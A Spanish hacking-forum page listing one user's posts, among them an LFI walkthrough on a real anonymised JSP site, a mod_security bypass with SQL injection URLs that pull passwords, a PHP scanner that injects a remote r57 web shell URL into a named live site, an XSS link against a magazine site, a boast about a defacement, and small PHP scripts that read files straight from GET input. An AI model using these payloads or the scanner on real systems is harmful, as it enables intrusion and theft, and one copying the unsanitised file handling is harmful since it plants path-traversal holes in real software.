elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Arreglado, de nuevo, el registro del warzone (wargame) de EHN


  Mostrar Temas
Páginas: [1] 2
1  Seguridad Informática / Nivel Web / Explotando un LFI en Java Server Pages en: 8 Abril 2016, 10:46 am
Introducción

En esta entrada vamos a ver como explotar un bug LFI (Local File Inclusion) en una web bajo JSP. Un LFI es una vulnerabilidad mediante la cual un atacante puede acceder a ficheros no destinados al usuario mediante un parámetro no controlado en un sistema modular.


LFI y estructura de archivos en un proyecto JSP

Como sabemos para explotar un LFI debemos conocer la estructura del ficheros del sistema al que estamos atacando, es decir si la web es por ejemplo de tipo index.jsp?pagina=inicio.jsp y conocemos que hay un directorio llamado panel, en el cual hay un jsp para agregar un usuario llamado gestionUsuarios.jps, introduciríamos la url index.jsp?pagina=panel/gestionUsuarios.jsp, y si desconocemos la estructura de los archivos y directorios de la web, habría que meterle en base a fuerza bruta. En JSP tenemos una ventaja, y es que los proyectos web en java están formados por la siguiente extructura:



Como vemos en la imagen, existe una una carpeta llamada WEB-INF en una ruta superior a la base de la aplicación, en la cual esta el archivo web.xml que es donde metemos diversos parámetros de configuración, y tirando de ahí ya se puede comenzar a extraer datos. En ese directorio también se guardan diferentes archivos de configuración como properties y demás, y utilizando fuerza bruta o conociendo algún dato del sistema podremos extraerlos.


Explotando el bug

Pues bien, ahora voy a llevar a cabo un ejemplo real de este ataque en una web que he encontrado la cual vamos a anonimizar, que tras ver su tipo de url vemos que tiene un parametro llamado module el cual parece vulnerable a LFI.



Pues viendo que está en Java y conociendo el detalle del famoso archivo web.xml, intentaremos escalar directorios y incluir este archivo a ver que sale, y tras un par de pruebas vemos que está tres directorios por encima de la base del sistema de modulación, y nos imprime información delicada en pantalla:



Como vemos, nos está soltando en pantalla todo el contenido del archivo, y si abrimos el código fuente de la web para verlo mas limpio podremos destacar lo siguiente:

Código:
 
  ...
  <context-param>
    <param-name>Jdbc_url</param-name>
    <param-value>jdbc:mysql://127.0.0.1/BASE_DE_DATOS?user=USUARIO&amp;password=PASSWORD</param-value>
  </context-param>
  ...
  <context-param>
      <param-name>log_path</param-name>
      <param-value>c:/pdo/</param-value>
  </context-param>
  ...
  <taglib>
    <taglib-uri>/WEB-INF/struts-bean.tld</taglib-uri>
    <taglib-location>/WEB-INF/struts-bean.tld</taglib-location>
  </taglib>
  <taglib>
    <taglib-uri>/WEB-INF/struts-logic.tld</taglib-uri>
    <taglib-location>/WEB-INF/struts-logic.tld</taglib-location>
  </taglib>
  ...
 


Tras examinar la información que nos devuelve el archivo, podemos destacar:

-Vemos los datos de configuración de la base de datos MySQL a la que se conecta el sistema, que esta en la propia máquina (127.0.0.1). Con esto si el servidor no tiene bloqueadas las conexiones externas (que son muchos...) ya tendríamos acceso completo a la base de datos.

-También vemos la ruta de los archivos LOG del apache, y una cosa curiosa, que el servidor esta en windows... Que podamos conocer la ruta de los logs es muy peligroso, puesto que podríamos hacer peticiones vía HTTP con código java inyectado en el GET, y luego los incluimos por el LFI y dicho código que hemos mandado por GET anteriormente se ejecutaría, lo que nos permitiría ejecutar comandos en el propio servidor y subir una shell para aumentar nuestro control sobre este.

-Por ultimo cabe destacar que nos muestra las rutas de varios archivos de configuración que están en el mismo directorio, que tras acceder a ellos vemos que definen diversos parámetros de configuración, librerías y demás datos que el atacante puede aprovechar


Conclusión:

Para concluir este post, sobra mencionar que tenemos que tener cuidado cuando hagamos un sistema modular mediante includes, y para evitar este tipo de vulnerabilidades tenemos dos opciones, o almacenamos los módulos o archivos disponibles a incluir en un array, o si no también podemos controlar que en la variable no se puedan insertar puntos ni barras, para que así no se pueda descender ni escalar del directorio de los módulos a incluir.

Fuente:
http://www.elefren.es/hacking-local-file-inclusion-java-server-pages/
2  Seguridad Informática / Nivel Web / Rompiendo el mod_security de Apache en: 7 Abril 2016, 00:33 am
Introduccion
Como muchos conocemos, por allá por el 2005 con la aparición de las inyecciones SQL y demás agujeros de seguridad en php, Apache implementó un modulo llamado mod_security el cual funciona como una especie de WAF (Web Application Firewall) que bloquea nuestras peticiones a la aplicación cuando detecta valores sospechosos por GET, POST, COOKIE, etc... Hoy en día siguen habiendo muchas aplicaciones web (desde la de la tienda del chapuzas de la esquina, hasta gubernamentales) con este modulo activado en su servidor pensando así sus administradores que está libres de posibles inyecciones y demás.

¿Cómo funciona mod_security?
El mod_security actúa en una capa sobre la ejecución de código, filtrando las peticiones al servidor a las que lleguen parámetros sospechosos como puede ser por ejemplo en una variable GET un "AND 1=1", UNION, entre otros... Entonces si este es el caso el servidor bloquea la peticion mostrándonos una pagina de error. De esta manera nos impide poder realizar una inyección SQL.


Rompiendo el mod_security
Sabiendo que el mod_security se blinda funcionando con un filtrado de expresiones, para evitarlo tan solo hay que saltar ese filtrado, pero claro si en el están incluidas palabras como UNION, UpdateXML, SELECT, WHERE, etc.. ¿cómo conseguimos ejecutar nuestras sentencias? pues muy sencillo, en MySQL existe una sintaxis para ejecutar dichos parámetros solo si el MySQL que se ejecuta es bajo una versión en concreto (ideal para los dump) la cual funciona de la siguiente manera:

Código:
/*!40101 DELETE FROM ejemplo WHERE version=4 */
/*!50000 DELETE FROM ejemplo WHERE version=5 */

El código anterior si lo ejecutamos en una versión 4.x de MySQL solo ejecutará la primera sentencia, pues en la segunda le estamos diciendo que sea en versiones mayores a la 5. ¿Qué conseguimos con esto? pues que el mod_security no tiene filtrada esta sintaxis, es decir que cuando introducimos una petición GET con la sentencia en este formato se la tragará y nos ejecutará la inyección, aquí dejo algunos ejemplos:

Código:
http://www.victima.com/acceso.php?codigo='/!*50000OR*/ 1=1
http://www.victima.com/ver?idc=265' /*!50000AND*/ updatexml(null,concat(0x3a,(SELECT pass FROM tabla LIMIT 0,1)),1)
http://www.victima.com/tfno.php?id=.4'/*!50000UNION*//*!50000SELECT*/1,2,3,4,5,6,7--

Conclusión
Como conclusión final de esta entrada pues creo que sobra decir, que lo mejor es hacer nuestras aplicaciones seguras, y evitar llegar a practicas como estas, pues un WAF, ya sea mod_security u otro en muchos casos no es seguro y la seguridad de nuestra web puede caer. Y en caso de que el WAF fuera seguro, imaginaros que en un momento por algún despiste del administrador, actualización o algo este se desactive, nuestra aplicación quedaría expuesta, así que lo mejor es no depender de estos módulos.

Fuente:
http://www.elefren.es/bypass-mod-security-php/
3  Seguridad Informática / Hacking / Detectar si podemos hacer conexion ext. al MySQL en: 13 Octubre 2014, 17:02 pm
Buenas, me preguntaba si hay alguna forma para saber si un server permite las conexiones externas desde MySQL, pues estoy intentando hacer un tool al que le mandes un grupo de webs y las recorra de una en una comprobando si tienen la conexion ext. abierta.

Desde comando lo intentado con el "mysql -h server -u root -p 1234" haciendolo de widows ejecutandolo desde php mediante exec() pero nada, me preguntaba si alguien sabe alguna forma....

Saludos y gracias de antemano
4  Foros Generales / Dudas Generales / ¿Cuanto les esta tardando zone-h en verificar? en: 13 Octubre 2014, 13:25 pm
Buenas, tras muchos años sin hacer un deface, ayer hice uno, lo mande a zone-h y veo que tras mas de 24h aun no me sale, hace años recuerdo que tardaba un par de horas o un dia como maximo mas o menos, ¿cuanto les esta tardando?

saludos !
5  Foros Generales / Foro Libre / ... en: 16 Mayo 2013, 15:46 pm
...
6  Seguridad Informática / Nivel Web / Scanner RFI simple en PHP en: 3 Octubre 2008, 12:38 pm
Hace un tiempo estuve pensando volver al hacking, en ese caso era entrar a S.H.T. (Spanish Hackers Team), y hablando con Joss me comento de hacer algun tool para hacer scanner masivamente a webs insertadas en un txt, lo comence de forma simple con la idea de mas tarde empliarlo para esvanear uns lista de webs, es decir que solo puede escanear una web, pero vamos que si sabes algo de php no te sera dificil modificarlo para que escanee todas las webs almacenadas en un txt. El escaner funciona de la siguiente manera:
1. Escanea el codigo fuente de la web en busca de variables en enlaces internos (ej: web.com/index.php?sección=pepe)
2. A las variables anteriores se le suman otras que el scanner trae por defecto, variables tipicas de modulacion de archivos.
3. Analiza distintos tipos de combinaciones de la web con esas variables y el valor de las variables una shell, y en caso de haber RFI te alerta.

Bien, por ultimo os dejo aqui el codigo, si veo que tras haber liberado este codigo no llega la plaga de gentuza modificando los creditos (que ya me ha ocurrido :S) seguire publicando tools que e programado, como por ejemplo algunas de ellas son un spammer para vbulletin, un spider de emails en foros, shell personal, entre otros...

Saludos especiales a Joss y nhh-32 ^^
scanner.php
<?
/*
RFI Scanner 1.0
Author: elefrEn
Website: http://elefren.com/
email: efnworkz@hotmail.com

Dedicated to Spanish Hackers Team
Gr33tz: -> JosS | nhh-32 | Omega <-
*/

set_time_limit(0);

#Config
$urlweb "www.guia-ubuntu.org";# Out http://, ex: google.com
$urlshell "http://usuarios.lycos.es/w0rms/r57.gif";# Url where you sent the shell script
$comunvars "cual|admindir|sec|id|file|doc|module|modulo|name";# Comun vars vulns to RFI in cms´s, etc...
$filetoscan "index.php";# The file that you want scan

#Funcs
function vars($url){
	
$xpl parse_url($url);$xpl $xpl[query];$xpl explode("&",$xpl);
	
$var 0;
	
while(
$var count($xpl)){
	
	
$v4r explode("=",$xpl[$var]);
	
	
$m0s .= '|'.$v4r[0];
	
	
$var++;
	
}
	
$m0s str_replace('amp;','',$m0s);
	
return 
$m0s;
}
function 
beerres($list$barras FALSE){
	
$s3p4 '<br>';
	
if(
$barras$s3p4 '|';
	
$list explode('|',$list);
	
$var 0;
	
while(
$var count($list)){
	
	
if(
$list[$var] != ''){
	
	
	
if(!@
preg_match("/$list[$var]/i",$m0s) ){
	
	
	
	
$m0s .= $list[$var].$s3p4;
	
	
	
}
	
	
}
	
	
$var++;
	
}
	
return 
$m0s;
}
function 
extrac($n00b$file FALSE){
	
$n0ob 'http://'.$n00b;
	
$source join("",file(&$n0ob));
	
$vars preg_match_all('/<a href="'.$file.'(.*)">(.*)<\/a>/i',$source,$results);
	
$t0t count($results[1]);
	
$var 0;
	
while(
$var $t0t){
	
	
$xtr explode('"',$results[1][$var]);
	
	
$urllist .= $xtr[0].'|';
	
	
$varlist .= vars($xtr[0]);
	
	
$var++;
	
}
	
$m0s .= $varlist;
	
return 
beerres($m0s,1);
}
function 
rfi($vars,$web,$file,$urlshell){
	
$list explode('|',$vars);
	
$var 0;
	
while(
$var count($list)){
	
	
$url $web.$file."?".$list[$var]."=".$urlshell."?";
	
	
$source join("",file(&$url));
	
	
if(
preg_match("/shell/i",$source)){
	
	
	
$m0s .= "<font color=red><b>RFI-></b></font> ";
	
	
}else{
	
	
	
$m0s .= "<font color=green><b>Secure-></b></font> ";
	
	
}
	
	
$m0s .= $url.'<br>';
	
	
$var++;
	
}
	
return 
$m0s;
}

#Exec
echo rfi(extrac($urlweb).$comunvars,'http://'.$urlweb.'/',$filetoscan,$urlshell);
?>
7  Seguridad Informática / Nivel Web / [XSS] en PC Actual ? en: 16 Abril 2008, 18:35 pm
XSS en la web de la revista PC Actual ?
http://www.pc-actual.com/buscar/XSS%20BY:%3Cbr%3EaLiEnMaStEr%3Cbr%3EaLiEnMaStEr%3Cbr%3EaLiEnMaStEr%3Cbr%3EaLiEnMaStEr%3Cbr%3EaLiEnMaStEr
8  Programación / PHP / Marcar Imagenes en: 25 Noviembre 2007, 16:56 pm
Bueno, aquí este código, su utilidad es el añadir sobre imágenes un texto para protegerla, muy útil para que otras webs no te roben imágenes, esta programado en PHP y la librería GD. Si queréis información o ayuda con la librería GD os recomiendo Este Link.
<?
// Marcar Imagenes 1.0 - Code By aLiEnMaStEr, http://4cosas.com
$txtmarca 'Imagen Protegida... 4Cosas.com';
if(
$_GET['imagen']){
    if(
file_exists($_GET['imagen'])){
        
header("Content-type: image/jpeg");
        
$archivo $_GET['imagen'];
        
$imagen imagecreatefromjpeg($archivo);
        
$ancho imagesx($imagen);
        
$alto imagesy($imagen);
        
$negro imagecolorallocate($imagen,0,75,127);
        
$blanco imagecolorallocate($imagen,255,255,255);
        
$long strlen($texto)*imagefontwidth(2);
        
imagefilledrectangle($imagen0$alto-20$ancho$alto$negro);
        
imagestring($imagen22$alto-17,$txtmarca,$blanco);
        
imagejpeg($imagen);
        
imagedestroy($imagen);
    }else{
        
header("Content-type: image/jpeg");
        
$imagen imagecreate(100,100);
        
$bg imagecolorallocate($imagen,255,255,255);
        
$negro imagecolorallocate($imagen,0,0,0);
        
imagestring($imagen,4,9,36,"Sin Imagen",$negro);
        
imagejpeg($imagen);
        
imagedestroy($imagen);
    }
}else{
    echo 
"Debe enviar una imagen desde GET. Ejmplo imagen.php?imagen=001.jpg";
}
?>
9  Programación / PHP / eFn-Portal 1.5 Beta! en: 2 Septiembre 2007, 08:02 am
Antes que nada pido perdon por la tardanza en liberar el efn-portal, son muchas las personas que por el msn cuando me conectaba me saltaban las ventanas preguntandome por cuando lanzaba la version, y ya esta. Les doy las gracias a todas las personas, pues si no fuera por ellas no hubiera efn-portal. Recordad que la version es 1.5 Beta, lo que significa que puede tener algun error o mal funcionamiento, si se diera el caso agradeceria que me lo comunacareis, para en la proxima version 1.5, es decir al sacarle el beta, liberarlo sin ningun error.

A partir de ahora el eFn-Portal tendra una web independiente, sera:
http://efn-portal.es.kz

Descargar eFn-Portal 1.5 ¡Beta!

Aka dejo algunas capturas de pantalla:









10  Programación / PHP / Mis ultimos scripts simples en PHP en: 6 Agosto 2007, 14:50 pm
Hola, soy un usuario de grado medio se podria decir en PHP. Llevo 8 meses desde que toque dicho lenguaje, y e creado algun que otro script. Pero como a muchos programadores nos pasa xd, no nos gusta mostrar lo que creamos hace 3 o 4 meses por que tenia algun fallo o error que hoy no cometemos, ya funcione o no el script xD.

Bien, pues como hace unos dias abrimi blog 4cosas.com hice algunos scripts para su apertura de alguna manera. Los scripts son simples, peor utiles, aqui dejo los codigos...

aLm! Logger 1.0
Lo siguiente es un simple sistema de logs, montado en PHP+TXT el cual incluyes ya sea en el config o en el inicio de tu web y este guardara logs en .txt en una carpeta, un log pro cada dia. Este script es muy util para cuando estemos en host los cuales no nos permitan ver los logs, que aunque no lo parezca son demasiados.
<?
//aLm Logs 1.0 - By aLiEnMaStEr 2007 - http://4cosas.com
//Variables
$fe time();
$fecha date("d.m.Y-H:i"$fe);
$fecha2 date("d-m-Y"$fe);
$archivo="logs/".$fecha2.".txt";
        
//cojer el sistema operativo
         
if(strstr($_SERVER['HTTP_USER_AGENT'], "Windows NT 5.1")){
              
$user_os "Windows XP";
          }elseif(
strstr($_SERVER['HTTP_USER_AGENT'], "Windows NT 5.0")){
              
$user_os "Windows 2000";
          }elseif(
strstr($_SERVER['HTTP_USER_AGENT'], "Windows NT 4")){
              
$user_os "Windows NT 4.0";
          }elseif(
strstr($_SERVER['HTTP_USER_AGENT'], "Windows 9") || strstr($_SERVER['HTTP_USER_AGENT'], "Win 9")){
              
$user_os "Windows 9x";
          }elseif(
strstr($_SERVER['HTTP_USER_AGENT'], "Windows Me")){
              
$user_os "Windows Me";
          }elseif(
strstr($_SERVER['HTTP_USER_AGENT'], "Linux")){
              
$user_os "Linux";
          }elseif(
strstr($_SERVER['HTTP_USER_AGENT'], "Macintosh") || strstr($_SERVER['HTTP_USER_AGENT'], "Mac_PowerPC")){
              
$user_os "Macintosh";
          }else{
              
$user_os "Desconocido..";
          } 
//Ejecucion
if(!file_exists($archivo)){
    
$fp fopen($archivo"a");
}else{
    
$logger "|$fecha|".$HTTP_SERVER_VARS['REMOTE_ADDR']."|http://".gethostbyaddr($_SERVER['REMOTE_ADDR'])."|http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']."|$user_os|\n";
    
$fp fopen($archivo"a");
    
fwrite($fp$logger);
    
fclose($fp);
}
echo 
$logger;
?>

Error 404 de imagen con Libreria GD
Bueno, pues estaba haciendo una web de ed2k, y para comenzar con
ella use una base de datos que tenia por ahi de otra web k le cogi... y entonces resulta que no tenia todos los archivos de imagen de todas las peliculas, y algunos enlaces daban error de imagen

Entonces recorde el script de omega publikado en php-hispano, y lo fui a usar, en localhost me fue bien, pero luego en mi host me daba error. Entonces me dispuse a crear un script de ese tipo, pero en un solo file y con la libreria GD. Quizas me e liado un poco con el script y se podria hacer mas simple, pero bueno... :xD:

Aca les dejo el code php, el archivo 404.jpg lo teneis que poner ustedes, es la imagen que se mostrara cuando la imagen seleccionada no exista.
<?
/*
Perzonalizar error de imagenes 1.1    
Autor: alienmaster
Web: http://4cosas.com
Email: efnworkz@hotmail.com
Nota: Script solo compatible con imagenes jpeg, jpg y gif. Necesita php4 o superior y la libreria GD activa.
gr33tz: Sikpro, nhh-32, INF3KT3D, d0rian, JosS, The Mythical, kekograma, shadow.ng, lovemaster, oso96_2000, Luis Orozco, simio_123.
*/
if($_GET['imagen']){
   if(
file_exists($_GET['imagen'])){
        if (
preg_match("/.jpg/i"$_GET['imagen']) || preg_match("/.jpeg/i"$_GET['imagen'])) {
            
header("Content-type: image/jpeg");
            
$archivo $_GET['imagen'];
            
$imagen imagecreatefromjpeg($archivo);
            
imagejpeg($imagen);
            
imagedestroy($imagen);
        }
        if (
preg_match("/.gif/i"$_GET['imagen'])) {
            
header("Content-type: image/gif");
            
$archivo $_GET['imagen'];
            
$imagen imagecreatefromgif($archivo);
            
imagegif($imagen);
            
imagedestroy($imagen);
           }
    }
   else{
    
header("Content-type: image/jpeg");
    
$archivo "404.jpg";
    
$imagen imagecreatefromjpeg($archivo);
    
imagejpeg($imagen);
    
imagedestroy($imagen);
    }
   }
   else{
   echo 
"<b>Debe enviar una imagen desde GET. Ejmplo imagen.php?imagen=001.jpg</b>";
   }
?>

Funcion para no deformar web
Muchos de aqui supongo que conocereis el cms o foro SMF, y algo muy curioso de este es que cuando insertamos una imagen, si esta es muy ancha o larga la acorta con la intencion de que no deforme el diseño. Es algo que mucha gente se lo pregunta, yo mismo me lo preguntaba, pero un amigo, Oso96_2000 me exlpico como se hacia con CSS. Entonces me dispuse a hacer una funcion en php para acortar imagenes en caso de que deformen un texto. Es una funcion corta, pero muy util, pues hasta yo la uso en este blog xd.
<?
#eFn-iMg - Mostrar imagen sin deformar diseño
#aLiEnMaStEr 2007 - eFnWorkZ@HotMail.com <-- ¡Solo emails, no me conecto nunca!
#un ejemplo de uso seria asi echo efnimg("4cosas/imagenes/logo.jpg","100","left","hola"); , es decir el archivo, el ancho, la alineacion y el titulo
function efnimg($imagen,$ancho,$alineacion,$title){
$w1dth getimagesize($imagen);//obtenemos los datos de la miegn, para mostrar en ancho k sera $w1dth[1]
return "<div style='overflow:auto; width:".$ancho."px; height:".$w1dth[1]."px; align:$alineacion;'><img src='$imagen' width='$w1dth[0]' title='$title' height='$w1dth[1]'></div>";
}
?>

Proteger paginas con password usando sesiones
Algunas veces no nos gusta que la gente pueda ver algunas paginas o secciones de nuestra web, o simplemente dejar acceder el a algunos usuarios. Pues al ser esto útil, he hecho un pequeño script de 5 minutos que podreis usarlo en vuestras webs. El funcionamiento del script es que tras enviarle un password desde un formulario la comprueba, y si es la que esta definida en el archivo, es decir la que tu hayas elegido te logea creando una session y mostrandote el contenido oculto.

El scritp lo pongo de 2 formas, la primera es esta en la que el password tendreis que definirlo cifrado en MD5, que es la forma mas segura.
<?
// Proteger archivo con password [MD5] usando sessiones
// By aLiEnMaStEr, V1.0
session_start();
$pwd_alm "e10adc3949ba59abbe56e057f20f883e"//Introduce aqui la contraseña bajo md5, en este caso es 123456
$file "pwd.php"//nombre del archivo php
if($_POST['alm_admin']){
    if(
md5($_POST['alm_admin']) == $pwd_alm){
        
$_SESSION['alm_admin'] = "alm";
    }else{
        echo 
"La contraseña es incorrecta.";
    }
}
if(!
$_SESSION['alm_admin']){
    
// Al no existir la session alm_admin mostramos el formulario de login.
    
echo "Pagina Protegida con contraseña.<br><form name='form1' method='post' action='".$file."'><input name='alm_admin' type='text' id='alm_admin'><input type='submit' name='Submit' value='loGin!'></form>";
}else{
    
// Si se obtiene la variable desconectar eliminamos las sessiones.
    
if($_GET['desconectar']){
        
session_destroy();
        exit(
"Haz sido desconectado correctamente.");
    }
    
//Al existir la sección, es decir estar logeado mostramos lo protejido
    
echo "Bienvenido, estas logeado bien, aqui tendras que poner todo aquello que quieras protejer. <a href='".$file."?desconectar=si'>Haz clic aki para salir.</a>";
}
?>
Luego teneis esta otra forma en la que el password esta normal, lo definis ustedes asi normal sin encriptarlo ni nada.
<?
// Proteger archivo con password usando sessiones
// By aLiEnMaStEr, V1.0
session_start();
$pwd_alm "123456"//Introduce aqui la contraseña, en este caso es 123456
$file "pwd.php"//nombre del archivo php
if($_POST['alm_admin']){
    if(
$_POST['alm_admin'] == $pwd_alm){
        
$_SESSION['alm_admin'] = "alm";
    }else{
        echo 
"La contraseña es incorrecta.";
    }
}
if(!
$_SESSION['alm_admin']){
    
// Al no existir la session alm_admin mostramos el formulario de login.
    
echo "Pagina Protegida con contraseña.<br><form name='form1' method='post' action='".$file."'><input name='alm_admin' type='text' id='alm_admin'><input type='submit' name='Submit' value='loGin!'></form>";
}else{
    
// Si se obtiene la variable desconectar eliminamos las sessiones.
    
if($_GET['desconectar']){
        
session_destroy();
        exit(
"Haz sido desconectado correctamente.");
    }
    
//Al existir la sección, es decir estar logeado mostramos lo protejido
    
echo "Bienvenido, estas logeado bien, aqui tendras que poner todo aquello que quieras protejer. <a href='".$file."?desconectar=si'>Haz clic aki para salir.</a>";
}
?>
Páginas: [1] 2
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines